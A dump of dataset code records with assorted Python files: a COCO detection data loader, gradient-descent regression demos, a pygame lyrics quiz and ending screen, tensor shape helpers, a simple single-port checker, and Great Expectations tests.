enumerate(self.coco.getCatIds())}\n self.cats2ids = {cat:id for id, cat in enumerate(self.coco.getCatIds())}\n\n def _remove_images_without_annotations(self, ids):\n new_ids = []\n rm_cnt = 0\n for idx in ids:\n annos = self._load_target(idx)\n boxes = []\n for anno in annos:\n if 'bbox' in anno:\n boxes.append(anno['bbox'])\n if len(boxes) == 0:\n rm_cnt += 1\n continue\n new_ids.append(idx)\n print(f'loading coco data, {rm_cnt} imgs without annos are removed')\n return new_ids\n\n def _load_image(self, idx):\n \"\"\" Return PIL Image (RGB) according to COCO image id\"\"\"\n path = self.coco.loadImgs(idx)[0]['file_name']\n return Image.open(os.path.join(self.root, path)).convert('RGB')\n\n def _load_target(self, idx):\n \"\"\" Return image annos according to COCO image id\"\"\"\n return self.coco.loadAnns(self.coco.getAnnIds(idx))\n\n def _tgt2rcnn(self, target):\n target['gt_boxes'] = target['boxes']\n # target['gt_classes'] = target['labels']\n gt_cats = target['labels']\n target['gt_classes'] = np.array(\n [self.cats2ids[int(gt_cats[i])] for i in range(len(gt_cats))], dtype='float32')\n\n target['imgs_shape'] = target['size'].astype(\"float32\")\n target['scale_factor_wh'] = np.array(\n [float(target['size'][1]) / float(target['orig_size'][1]),\n float(target['size'][0]) / float(target['orig_size'][0])], dtype='float32')\n\n target.pop(\"boxes\")\n target.pop(\"labels\")\n target.pop(\"size\")\n\n return target\n\n def __len__(self):\n return len(self.ids)\n\n def __getitem__(self, idx):\n \"\"\"idx is for training image id, not COCO image id\"\"\"\n image_id = self.ids[idx]\n image = self._load_image(image_id)\n target = self._load_target(image_id)\n target = {'image_id': image_id, 'annotations': target}\n\n image, target = self.prepare(image, target)\n if self._transforms is not None:\n image, target = self._transforms(image, target)\n\n target = self._tgt2rcnn(target)\n\n return image, target\n\n\ndef convert_coco_poly_to_mask(segmentations, height, width):\n \"\"\" Convert coco anno from polygons to image masks\"\"\"\n masks = []\n for polygons in segmentations:\n rles = coco_mask.frPyObjects(polygons, height, width)\n mask = coco_mask.decode(rles)\n if len(mask.shape) < 3:\n mask = mask[..., None]\n mask = mask.any(axis=2).squeeze(-1) # w x h\n masks.append(mask)\n if masks:\n masks = np.stack(masks, axis=0)\n else:\n mask = np.zeros((0, height, width), dtype='int32')\n return masks\n\n\nclass ConvertCocoPolysToMasks():\n \"\"\" Prepare coco annotations to paddle tensors\"\"\"\n def __init__(self, return_masks=False):\n self.return_masks = return_masks\n\n def __call__(self, image, target):\n w, h = image.size\n image_id = target['image_id']\n\n anno = target['annotations']\n anno = [obj for obj in anno if 'iscrowd' not in obj or obj['iscrowd'] == 0]\n\n boxes = [obj['bbox'] for obj in anno]\n boxes = np.array(boxes, dtype='float32')\n boxes = boxes.reshape([-1, 4])\n boxes[:, 2:] += boxes[:, :2]\n boxes[:, 0::2].clip(0, w)\n boxes[:, 1::2].clip(0, h)\n\n classes = [obj['category_id'] for obj in anno]\n classes = np.array(classes, dtype='float32') #TODO: check dtype\n\n if self.return_masks:\n segmentations = [obj['segmentation'] for obj in anno]\n masks = convert_coco_poly_to_mask(segmentations, h, w) # [N, H, W] int32 array\n\n keypoints = None\n if anno and 'keypoints' in anno[0]:\n keypoints = [obj['keypoints'] for obj in anno]\n keypoints = np.array(keypoints, dtype='float32')\n num_keypoints = keypoints.shape[0]\n if num_keypoints:\n keypoints = keypoints.reshape((num_keypoints, -1, 3))\n\n boxes_tmp = boxes\n keep = (boxes_tmp[:, 3] > boxes_tmp[:, 1]) & (boxes_tmp[:, 2] > boxes_tmp[:, 0])\n #keep_idx = np.where(keep)[0].astype('int32')\n\n boxes = boxes[keep]\n classes = classes[keep]\n\n if self.return_masks:\n masks = masks[keep]\n if keypoints is not None:\n keypoints = keypoints[keep]\n\n target = {}\n target['boxes'] = boxes\n target['labels'] = classes\n if self.return_masks:\n target['masks'] = masks\n if keypoints is not None:\n target['keypoints'] = keypoints\n target['image_id'] = image_id\n\n area = np.array([obj['area'] for obj in anno])\n iscrowd = np.array([obj['iscrowd'] if 'iscrowd' in obj else 0 for obj in anno])\n target['area'] = area\n target['iscrowd'] = iscrowd[keep]\n\n target['orig_size'] = np.array([int(h), int(w)], dtype='float32')\n target['size'] = np.array([int(h), int(w)], dtype='float32')\n\n return image, target\n\n\ndef make_coco_transforms(image_set):\n \"\"\" return transforms(class defined in ./transforms.py) for coco train and val\"\"\"\n normalize = T.Compose([\n T.ToTensor(),\n T.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\n scales = [480, 512, 544, 576, 608, 640, 672, 704, 736, 768, 800]\n\n if image_set == 'train':\n return T.Compose([\n T.RandomHorizontalFlip(),\n T.RandomResize(scales, max_size=1333),\n normalize,\n ])\n\n if image_set == 'val':\n return T.Compose([\n T.RandomResize([800], max_size=1333),\n normalize,\n ])\n\n raise ValueError(f'Unknown {image_set}')\n\n\ndef build_coco(image_set, coco_path, masks=False):\n \"\"\"Return CocoDetection dataset according to image_set: ['train', 'val']\"\"\"\n assert image_set in ['train', 'val'], f'image_set {image_set} not supported'\n assert os.path.exists(coco_path), f'provided COCO path {coco_path} does not exist'\n mode = 'instances'\n paths = {\n 'train': (os.path.join(coco_path, 'train2017'),\n os.path.join(coco_path, 'annotations', f'{mode}_train2017.json')),\n 'val': (os.path.join(coco_path, 'val2017'),\n os.path.join(coco_path, 'annotations', f'{mode}_val2017.json')),\n }\n img_folder, anno_file = paths[image_set]\n dataset = CocoDetection(img_folder,\n anno_file,\n transforms=make_coco_transforms(image_set),\n return_masks=masks)\n return dataset\n\n\ndef get_dataloader(dataset, batch_size, mode='train', multi_gpu=False):\n \"\"\" return dataloader on train/val set for single/multi gpu\n Arguments:\n dataset: paddle.io.Dataset, coco dataset\n batch_size: int, num of samples in one batch\n mode: str, ['train', 'val'], dataset to use\n multi_gpu: bool, if True, DistributedBatchSampler is used for DDP\n \"\"\"\n if multi_gpu:\n sampler = paddle.io.DistributedBatchSampler(\n dataset,\n batch_size=batch_size,\n shuffle=(mode == 'train'),\n drop_last=True)\n #TODO: may need to fix this drop_last of multi-gpu dataloading error\n # currently, val may drop several samples, which will lower the performance\n # an idea is to pad the last batch in collate_fn\n dataloader = paddle.io.DataLoader(dataset,\n batch_sampler=sampler,\n collate_fn=collate_fn)\n else:\n dataloader = paddle.io.DataLoader(dataset,\n batch_size=batch_size,\n shuffle=(mode == 'train'),\n collate_fn=collate_fn)\n return dataloader\n\n\ndef collate_fn(batch):\n \"\"\"Collate function for batching samples\n Samples varies in sizes, here convert samples to NestedTensor which pads the tensor,\n and generate the corresponding mask, so that the whole batch is of the same size.\n \"\"\"\n # eliminate invalid data (where boxes is [] tensor)\n old_batch_len = len(batch)\n batch = [x for x in batch if x[1]['gt_boxes'].shape[0] != 0]\n # try refill empty sample by other sample in current batch\n\n new_batch_len = len(batch)\n for i in range(new_batch_len, old_batch_len):\n batch.append(copy.deepcopy(batch[i%new_batch_len]))\n\n batch = list(zip(*batch)) # batch[0]: data tensor, batch[1]: targets dict\n\n batch[0] = nested_tensor_from_tensor_list(batch[0], 32)\n\n val_batch = [list(x.values()) for x in batch[1]]\n key_batch = list(batch[1][0].keys())\n tgt_batch = {}\n\n for k, data in zip(key_batch, zip(*val_batch)):\n if isinstance(data, (list, tuple)):\n res = []\n for item in data:\n res.append(paddle.to_tensor(item))\n tgt_batch[k] = res\n else:\n tgt_batch[k] = paddle.to_tensor(data)\n \n #batch_target = []\n #for single_target in batch[1]:\n # target_tensor_dict = {}\n # for key, val in single_target.items():\n # if isinstance(val, (list, tuple)):\n # res = []\n # for item in val:\n # res.append(paddle.to_tensor(item))\n # target_tensor_dict[key] = res\n # else:\n # target_tensor_dict[key] = paddle.to_tensor(val)\n # batch_target.append(target_tensor_dict)\n\n\n batch[1] = tgt_batch\n return tuple(batch)\n","sub_path":"object_detection/Swin/coco.py","file_name":"coco.py","file_ext":"py","file_size_in_byte":11723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"513039820","text":"# %% Imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\n# Loss function, mean least squares\ndef loss(pred, actual):\n return np.sum(((np.array(pred)) - np.array(actual))**2)/(len(pred)-1)\n# Shuffle corresponding \ndef shuffle_two(a, b):\n assert(len(a) == len(b))\n width = np.random.permutation(len(a))\n ret_a = [a[i] for i in width]\n ret_b = [b[i] for i in width]\n return (np.array(ret_a), np.array(ret_b))\n# %% Linear regression with Gradient Descent\ndef gd_lin_reg_plt(xs, ys, step = 0, epochs = 1000):\n assert(len(xs) == len(ys))\n if step == 0:\n exponent = (2 * len(str(int(np.round(abs(xs[0] - xs[len(xs)-1]))))) - 2)\n step = np.power(0.1, exponent)\n # training parameters\n n_observations = len(xs)\n m = np.random.uniform(-1, 1)\n b = np.random.uniform(-1, 1)\n errors = [0]\n # add data points to the graph\n fig = plt.figure(figsize=(6,10))\n ax = fig.add_subplot(211)\n ax.scatter(xs, ys, color = 'pink')\n # main loop: #epochs iterations\n for _ in range(epochs):\n # calculate current delta(error)\n y_pred = m * xs + b\n delta = loss(y_pred, ys)\n errors.append(delta)\n # finish if we reached minimum\n if abs(delta - errors[len(errors)-2]) <= 0.0001: break\n # calculate partial derivatives of error function in respect to parameters\n dm = np.sum((2 * xs / (n_observations - 1)) * (m * xs + b - ys))\n db = np.sum((2 / (n_observations - 1)) * (m * xs + b - ys))\n # take a step backwards in respect to the error gradient\n m -= dm * step\n b -= db * step\n # plot regression line\n ax.plot(xs, y_pred, 'b--')\n ax.plot(xs, np.polyval(np.polyfit(xs, ys, 1), xs), 'r--')\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"f(x)\")\n plt.title(\"Linear fit: f(x) = {:.6}x + {:.6}\\nPolyfit(xs,ys,1): {}\\nStep: 10^-{}\\nAccuracy: {}%\".format(m, b, np.polyfit(xs,ys,1), exponent, np.absolute(100 - 100 * np.absolute((np.absolute([m, b]) - np.absolute(np.polyfit(xs,ys,1)))/np.absolute(np.polyfit(xs,ys,1))))))\n # plot error in time\n ax = fig.add_subplot(212)\n errors.pop(0)\n ax.plot([x for x in range(len(errors))], errors)\n ax.set_xlabel(\"Epoch\")\n ax.set_ylabel(\"Error\")\n plt.show()\n# %% Polynomial regression with Gradient Descent\ndef gd_poly_reg_plt(xs, ys, degree = 2, step = 0.0002, epochs = 10000):\n #initial parameters\n assert(len(xs) == len(ys))\n # training parameters\n n_observations = len(xs)\n errors = [0]\n ws = np.random.uniform(-1, 1, degree+1)\n # add data points to the graph\n fig = plt.figure(figsize=(6,10))\n ax = fig.add_subplot(211)\n ax.scatter(xs, ys, color = 'pink')\n # learning loop\n for epoch in range(epochs):\n #calculate loss\n y_pred = 0\n for n in range(degree + 1):\n y_pred += ws[n] * pow(xs, n)\n delta = loss(y_pred, ys)\n errors.append(delta)\n # finish if we reached minimum\n de = delta - errors[len(errors)-2]\n #if (de > 0 and epoch > 1): break\n # calculate partial derivatives of error function in respect to parameters\n ds = []\n for n in range (degree + 1):\n #inner function\n func = np.zeros(n_observations) - ys\n for i in range (degree + 1):\n func += ws[i] * pow(xs, i)\n #multiply by each 2 * xs ** n for every n\n ds.append(np.sum(2 * pow(xs, n) * func / (n_observations - 1)))\n #change our weights\n ws -= step * np.array(ds)\n # plot regression line 10 times\n if not epoch % np.floor(epochs/10): ax.plot(xs, y_pred, 'b--', alpha=epoch/epochs)\n # plot regression line\n ax.plot(xs, y_pred, 'b--')\n ax.plot(xs, np.polyval(np.polyfit(xs,ys,degree), xs), 'r--')\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"f(x)\")\n plt.ylim(-2, 2)\n plt.title(\"Polynomial fit: {}\\nPolyfit(xs,ys,{}): {}\".format(np.around(list(reversed(ws)), 4), degree, np.around(np.polyfit(xs,ys,degree), 4)))\n # plot error in time\n ax = fig.add_subplot(212)\n errors.pop(0)\n ax.plot([x for x in range(len(errors))], errors)\n ax.set_xlabel(\"Epoch\")\n ax.set_ylabel(\"Error\")\n plt.show()\n# %% Stochastic gradient descent in linear regression\ndef sgd_lin_reg_plt(xs, ys, step = 0, epochs = 5, decay = 0.5):\n assert(len(xs) == len(ys))\n if step == 0:\n exponent = (2 * len(str(int(np.round(abs(xs[0] - xs[len(xs)-1]))))) - 2)\n step = np.power(0.1, exponent)\n # training parameters\n n_observations = len(xs)\n m = np.random.uniform(-1, 1)\n b = np.random.uniform(-1, 1)\n errors = [0]\n # add data points to the graph\n fig = plt.figure(figsize=(6,10))\n ax = fig.add_subplot(211)\n ax.scatter(xs, ys, color = 'pink')\n # main loop: #epochs iterations\n for epoch in range(epochs):\n #shuffle our sample space\n xs, ys = shuffle_two(xs, ys)\n #adaptive learning rate\n step *= 1. / (1. + decay * epoch)\n for n in range(len(xs)):\n # calculate partial derivatives of error function in respect to parameters at the point\n dm = (2 * xs[n]) * (m * xs[n] + b - ys[n])\n db = 2 * (m * xs[n] + b - ys[n])\n # take a step backwards in respect to the error gradient\n m -= dm * step\n b -= db * step\n # calculate new delta\n y_pred = m * xs + b\n delta = loss(y_pred, ys)\n errors.append(delta)\n # plot regression line\n ax.plot(xs, y_pred, 'b--')\n ax.plot(xs, np.polyval(np.polyfit(xs, ys, 1), xs), 'r--')\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"f(x)\")\n plt.title(\"Linear fit: f(x) = {:.6}x + {:.6}\\nPolyfit(xs,ys,1): {}\\nStep: 10^-{}\\nAccuracy: {}%\".format(m, b, np.polyfit(xs,ys,1), exponent, np.absolute(100 - 100 * np.absolute((np.absolute([m, b]) - np.absolute(np.polyfit(xs,ys,1)))/np.absolute(np.polyfit(xs,ys,1)))) ))\n # plot error in time\n ax = fig.add_subplot(212)\n errors.pop(0)\n ax.plot([x for x in range(len(errors))], errors)\n ax.set_xlabel(\"Epoch\")\n ax.set_ylabel(\"Error\")\n plt.show()\n# %% Test SGD linear regression\nrandomness = 10\nn_observations = 10\nm_target, b_target = np.random.uniform(-5, 5), np.random.uniform(-5, 5)\nxs = np.linspace(-10, 10, n_observations)\nys = m_target * xs + b_target + np.random.uniform(-randomness, randomness, n_observations)\nsgd_lin_reg_plt(xs, ys, epochs = 10)\n# %% Test GD polynomial regression\nn_observations = 100\nxs = np.linspace(-3, 3, n_observations)\nys = np.sin(xs) + np.random.uniform(-0.5, 0.5, n_observations)\ngd_poly_reg_plt(xs, ys, degree = 3, step = 0.0001, epochs = 1000)\n# %% Test GD linear regression\nrandomness = 10\nn_observations = 100\nm_target, b_target = np.random.uniform(-5, 5), np.random.uniform(-5, 5)\nxs = np.linspace(-10, 10, n_observations)\nys = m_target * xs + b_target + np.random.uniform(-randomness, randomness, n_observations)\ngd_lin_reg_plt(xs, ys)","sub_path":"linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":7003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"556778530","text":"#! /usr/bin/env python\nimport os, random, sys, math\n\nimport pygame\nfrom pygame.locals import *\nfrom configuracion import *\nfrom extras import *\n\nfrom funcionesVACIAS import *\nfrom menu import *\n\n\n#Funcion principal\ndef main():\n\n\n #Centrar la ventana y despues inicializar pygame\n os.environ[\"SDL_VIDEO_CENTERED\"] = \"1\"\n pygame.init()\n\n\n #pygame.mixer.init()\n\n #Preparar la ventana\n pygame.display.set_caption(\"Cancionero...\")\n screen = pygame.display.set_mode((ANCHO, ALTO))\n\n #Menu\n menuScreen = True\n\n #loop principal, siempre vuelve al menu\n while (menuScreen):\n buttonClicked = dibujarMenu(screen)\n if(buttonClicked == 'Jugar'):\n buttonClicked = mainGameRender(screen)\n\n\n\ndef mainGameRender(screen):\n # tiempo total del juego\n gameClock = pygame.time.Clock()\n totaltime = 0\n segundos = TIEMPO_MAX\n fps = FPS_inicial\n artistaYcancion = []\n puntos = 0\n palabraUsuario = \"\"\n letra = []\n correctas = 0\n elegidos = []\n masDeUnaVuelta = False\n\n # elige una cancion de todas las disponibles\n azar = random.randrange(1, N + 1)\n elegidos.append(azar) # la agrega a la lista de los ya elegidos\n archivo = open(\".\\\\letras\\\\\" + str(azar) + \".txt\", \"r\", encoding='utf-8') # abre el archivo elegido con unicode.\n\n # lectura del archivo y filtrado de caracteres especiales, la primer linea es el artista y cancion\n # artistaYcancion, letra = lectura(archivo, letra, artistaYcancion)\n lectura(archivo, letra, artistaYcancion)\n\n # elige una linea al azar y su siguiente\n lista = seleccion(letra)\n\n\n ayuda = \"\"\n dibujar(screen, palabraUsuario, lista, puntos, segundos, ayuda)\n\n while segundos > fps / 1000:\n # 1 frame cada 1/fps segundos\n gameClock.tick(fps)\n totaltime += gameClock.get_time()\n\n if True:\n fps = 3\n\n # Buscar la tecla apretada del modulo de eventos de pygame\n for e in pygame.event.get():\n\n # QUIT es apretar la X en la ventana\n if e.type == QUIT:\n pygame.quit()\n return ()\n\n # Ver si fue apretada alguna tecla\n if e.type == KEYDOWN:\n letraApretada = dameLetraApretada(e.key)\n palabraUsuario += letraApretada\n if e.key == K_BACKSPACE:\n palabraUsuario = palabraUsuario[0:len(palabraUsuario) - 1]\n if e.key == K_RETURN:\n # chequea si es correcta y suma o resta puntos\n sumar = esCorrecta(palabraUsuario, artistaYcancion, correctas)\n puntos += sumar\n\n if sumar > 0:\n correctas = correctas + 1\n if (correctas > 3):\n multipleCorrectSound()\n else:\n correctAnswerSound()\n\n else:\n if (correctas == 0):\n deadSound()\n else:\n wrongAnswerSound()\n correctas = 0\n\n if len(elegidos) == N:\n elegidos = []\n masDeUnaVuelta = True\n\n azar = random.randrange(1, N + 1)\n while (azar in elegidos):\n azar = random.randrange(1, N + 1)\n\n elegidos.append(azar)\n\n if masDeUnaVuelta == True:\n ayuda = artistaYcancion[0]\n\n archivo = open(\".\\\\letras\\\\\" + str(azar) + \".txt\", \"r\", encoding='utf-8')\n palabraUsuario = \"\"\n # lectura del archivo y filtrado de caracteres especiales\n artistaYcancion = []\n letra = []\n # artistaYcancion, letra = lectura(archivo, letra, artistaYcancion)\n lectura(archivo, letra, artistaYcancion)\n\n # elige una linea al azar y su siguiente\n lista = seleccion(letra)\n\n # segundos = TIEMPO_MAX - pygame.time.get_ticks()/1000\n segundos = TIEMPO_MAX - totaltime / 1000\n\n # Limpiar pantalla anterior\n screen.fill(COLOR_FONDO)\n\n # Dibujar de nuevo todo\n dibujar(screen, palabraUsuario, lista, puntos, segundos, ayuda)\n pygame.display.flip()\n\n archivo.close()\n\n return waitForUserAction(screen)\n\n #while 1:\n # Esperar el QUIT del usuario\n # break\n # for e in pygame.event.get():\n # if e.type == QUIT:\n # pygame.quit()\n # return\n\n\n\n#Programa Principal ejecuta Main\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"principal.py","file_name":"principal.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"395886098","text":"# -*- coding: utf-8 -*-\n# File : shape.py\n# Author : Jiayuan Mao\n# Email : maojiayuan@gmail.com\n# Date : 25/01/2018\n# \n# This file is part of Jacinle.\n\nimport collections\nimport torch\n\n__all__ = ['flatten', 'flatten2', 'concat_shape', 'broadcast', 'repeat', 'repeat_times', 'force_view']\n\n\ndef flatten(tensor):\n return tensor.view(-1)\n\n\ndef flatten2(tensor):\n return tensor.view(tensor.size(0), -1)\n\n\ndef concat_shape(*shapes):\n output = []\n for s in shapes:\n if isinstance(s, collections.Sequence):\n output.extend(s)\n else:\n output.append(int(s))\n return tuple(output)\n\n\ndef broadcast(tensor, dim, size):\n if dim < 0:\n dim += tensor.dim()\n assert tensor.size(dim) == 1\n shape = tensor.size()\n return tensor.expand(concat_shape(shape[:dim], size, shape[dim+1:]))\n\n\ndef repeat(tensor, dim, count):\n if dim < 0:\n dim += tensor.dim()\n tensor_shape = tensor.size()\n value = broadcast(tensor.unsqueeze(dim + 1), dim + 1, count)\n return force_view(value, concat_shape(tensor_shape[:dim], -1, tensor_shape[dim + 1:]))\n\n\ndef repeat_times(tensor, dim, repeats):\n if dim < 0:\n dim += tensor.dim()\n repeats = repeats.data.cpu().numpy()\n outputs = []\n for i in range(tensor.size(dim)):\n outputs.append(broadcast(tensor.narrow(dim, i, 1), dim, int(repeats[i])))\n return torch.cat(outputs, dim=dim)\n\n\ndef force_view(tensor, *shapes):\n if not tensor.is_contiguous():\n tensor = tensor.contiguous()\n return tensor.view(*shapes)\n","sub_path":"jactorch/functional/shape.py","file_name":"shape.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"393313466","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport json\nimport os\nimport uuid\n\nimport random\nfrom jinja2 import Environment, FileSystemLoader\nfrom random_generator_libs import random_generator\nimport shutil\n\nbase_directory_path = os.path.dirname(os.path.abspath(__file__))\ntemplate_directory_path = \"{}/random_generator_libs/template\".format(base_directory_path)\n\nwork_dir_path = '{}/{}'.format(base_directory_path, 'all');\n\nenv = Environment(loader=FileSystemLoader(template_directory_path, encoding='utf8'))\n\ntemplates = ['call_to_action',\n'contacts',\n'contents',\n'features',\n'footers',\n'forms',\n'headers',\n'pricings',\n'teams',\n'testimonials']\n\nfor template in templates:\n\tcopy_src_path = '{}/htmls'.format(base_directory_path)\n\toutput_dir_path = \"{}/{}\".format(work_dir_path, template)\n\tif not os.path.exists(output_dir_path):\n\t\tshutil.copytree(copy_src_path, output_dir_path)\n\n\ttpl = env.get_template('outline.tpl.html')\n\ttext = random_generator.load_html(template, tpl, output_dir_path)","sub_path":"scripts/run2.py","file_name":"run2.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"492695778","text":"import os\nfrom socket import gethostname\nhostname = gethostname()\nusername = os.environ['USER']\npwd = os.getcwd()\nhomedir = os.path.expanduser('~')\npwd = pwd.replace(homedir, '~', 1)\n#if len(pwd) > 33:\n# pwd = pwd[:10] # first 10 chars+last 20 chars\n#print(\"[%s@%s:%s]\"%(username, hostname, pwd))\npwd = str.split(pwd, '/')[-1]\nprint(\"[%s@local: %s]# \"%(username, pwd))\n","sub_path":".short.pwd.py","file_name":".short.pwd.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"140942467","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 17 20:30:32 2018\n\n@author: MSG\n\"\"\"\n#import modules\nimport matplotlib.pyplot as plt\nfrom random_walk import RandomWalk\n\n# Make a random walk, and plot the points.\nwalk = RandomWalk()\nwalk.fill_walk()\n\n#visualize walk\n\nplt.plot(walk.x_values, walk.y_values)\n#plt.scatter(walk.x_values, walk.y_values, c=walk.y_values, cmap=plt.cm.Greys, s=20, edgecolors=None)\n#add title and axis labels\nplt.title('Random Walk Plot by Scatter', fontsize=14, color='blue')\nplt.xlabel('x-value', fontsize=14)\nplt.ylabel('y-value', fontsize=14, color='green')\n#set the size of the tick lables\nplt.tick_params(axis='both' ,labelsize=14 )\n#plt.show()\nplt.savefig('Random_Walk-scatter_graph4.png', bbox_inches='tight')\n\n","sub_path":"Generate Data and visualize with matplotlib/random_walk_implementation.py","file_name":"random_walk_implementation.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"549736527","text":"\"\"\"\nIn Python, a string can be split on a delimiter.\nExample:\na = \"this is a string\"\na = a.split(\" \") # a is converted to a list of strings.\nprint a\n['this', 'is', 'a', 'string']\nJoining a string is simple:\na = \"-\".join(a)\nprint a\nthis-is-a-string\nTask\nYou are given a string. Split the string on a \" \" (space) delimiter and join using a - hyphen.\nInput Format\nThe first line contains a string consisting of space separated words.\nOutput Format\nPrint the formatted string as explained above.\nSample Input\nthis is a string\nSample Output\nthis-is-a-string\n\"\"\"\n\n\n# a = a.split(\" \") # a is converted to a LIST OF STRINGS.\n#Joining a string is simple:\n# a = \"-\".join(a) # where \"-\" is the delimiter used to join a LIST OF STRINGS\n\ndef split_and_join(line):\n # write your code here\n line = line.split()\n lines = \"-\".join(line)\n return lines\n\n# example = \"this is a string\"\n\nif __name__ == '__main__':\n print('please input the string with spaces')\n line = input()\n result = split_and_join(line)\n print(result)","sub_path":"Python_Subdomains/Strings/02_String_Split_And_Join.py","file_name":"02_String_Split_And_Join.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"310257442","text":"\r\nimport socket\r\nfrom colorama import Fore, Style\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\ns.connect((\"8.8.8.8\", 80))\r\nhostip = (s.getsockname()[0])\r\ns.close()\r\n\r\n\r\n#First, check internet conection.\r\ndef CheckInternet():\r\n testINT = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\n try:\r\n testINT.connect(('www.google.com', 80)) #Chack if it works\r\n print (Style.RESET_ALL + Fore.GREEN + Style.BRIGHT + \"[ ✔ ]──[Internet Connection]─────[ CONNECTED! ]\") #Display it works\r\n print()\r\n \r\n host = input(Fore.WHITE + Style.RESET_ALL +Style.BRIGHT + \"[ \" + hostip + \" ]──[ Your IP ]─────[ Escribe la IP a analizar: \" + Style.DIM) #Select IP\r\n port = input(Style.RESET_ALL + Style.BRIGHT + \"[ Escribe el puerto que se va a analizar: \"+ Style.DIM) #Select port\r\n\r\n def portscanner(port): #scanner\r\n if sock.connect_ex((host, int(port))):\r\n print(Style.RESET_ALL + Style.BRIGHT + Fore.RED + f\"[ The port {port} is closed. ]\") #closed\r\n else:\r\n print(Style.RESET_ALL + Style.BRIGHT + Fore.GREEN + f\"[ The port {port} is opened. ]\") #open\r\n\r\n\r\n portscanner(port) #execute the escanner\r\n testINT.close()\r\n except OSError:\r\n print (Style.RESET_ALL + Fore.RED + Style.BRIGHT + \"[ X ]──[Internet Connection]─────[ OFFLINE! x_x ]\") #no internet\r\n exit()\r\n testINT.close()\r\n\r\n\r\ndef banner():\r\n print (Fore.WHITE + Style.RESET_ALL +Style.BRIGHT + \"+---------------------------------------------+\")\r\n print (Fore.WHITE + Style.RESET_ALL +Style.BRIGHT + \"| xX::r4v10l1 port checker::Xx |\")\r\n print (Fore.WHITE + Style.RESET_ALL +Style.BRIGHT + \"+---------------------------------------------+\")\r\n print()\r\n\r\nprint()\r\nbanner() #banner\r\nCheckInternet() #run\r\n\r\n","sub_path":"portScanner.py","file_name":"portScanner.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"450991800","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport pygame\r\nfrom pygame.locals import *\r\nimport os\r\n\r\nfrom saveload import SaveLoad\r\nfrom window import Window\r\n\r\n\r\nclass Ending(Window):\r\n \"\"\"エンディング画面\"\"\"\r\n\r\n LINE_HEIGHT = 8\r\n\r\n def __init__(self,rect,msgwnd,msg_engine,screen):\r\n screen.fill((0,0,0))\r\n Window.__init__(self,rect)\r\n self.saveload = SaveLoad()\r\n self.msgwnd = msgwnd\r\n self.msg_engine = msg_engine\r\n self.title_img = self.saveload.load_image(\"data\",\"mendelsnozone.png\",-1)\r\n self.cursor_img = self.saveload.load_image(\"data\",\"cursor2.png\",-1)\r\n\r\n def draw(self,screen):\r\n #ウィンドウの表示\r\n Window.draw(self,screen)\r\n if self.is_visible == False: return\r\n self.msg_engine.draw_string(screen,(100,240),u\"YES\")\r\n self.msg_engine.draw_string(screen,(100,280),u\"NO\")\r\n self.answer_no(screen)\r\n\r\n def answer_no(self,screen):\r\n screen.blit(self.cursor_img,(84,280))\r\n\r\n def play_ending(self):\r\n \"\"\"音源再生\"\"\"\r\n bgm_file = \"ending.mp3\"\r\n bgm_file = os.path.join(\"bgm\",bgm_file)\r\n pygame.mixer.music.load(bgm_file)\r\n pygame.mixer.music.play()\r\n\r\n def stop_ending(self):\r\n \"\"\"音源停止\"\"\"\r\n pygame.mixer.music.stop()\r\n","sub_path":"ending.py","file_name":"ending.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"257094671","text":"import pytest\n\nfrom great_expectations.core import ExpectationKwargs\n\n\n@pytest.fixture\ndef kwargs1():\n return ExpectationKwargs(\n {\n \"column\": \"a\",\n \"value_set\": [1, 2, 3],\n \"result_format\": \"BASIC\"\n }\n )\n\n\n@pytest.fixture\ndef kwargs2():\n return ExpectationKwargs(\n column=\"a\",\n value_set=[1, 2, 3],\n result_format=\"BASIC\"\n )\n\n\n@pytest.fixture\ndef kwargs3():\n return ExpectationKwargs(\n column=\"a\",\n value_set=[1, 2, 3],\n result_format=\"COMPLETE\"\n )\n\n\ndef test_ignored_keys(kwargs1):\n # Codify the list of ignored keys\n assert ExpectationKwargs.ignored_keys == ['result_format', 'include_config', 'catch_exceptions']\n\n\ndef test_expectation_kwargs_equality(kwargs1, kwargs2, kwargs3):\n # Note that we initialized kwargs1 and kwargs2 using different means (one as a dictionary the other as kwargs)\n assert kwargs1 == kwargs2\n assert not (kwargs1 != kwargs2)\n assert kwargs1 != kwargs3\n\n\ndef test_expectation_kwargs_equivalence(kwargs1, kwargs2, kwargs3):\n assert 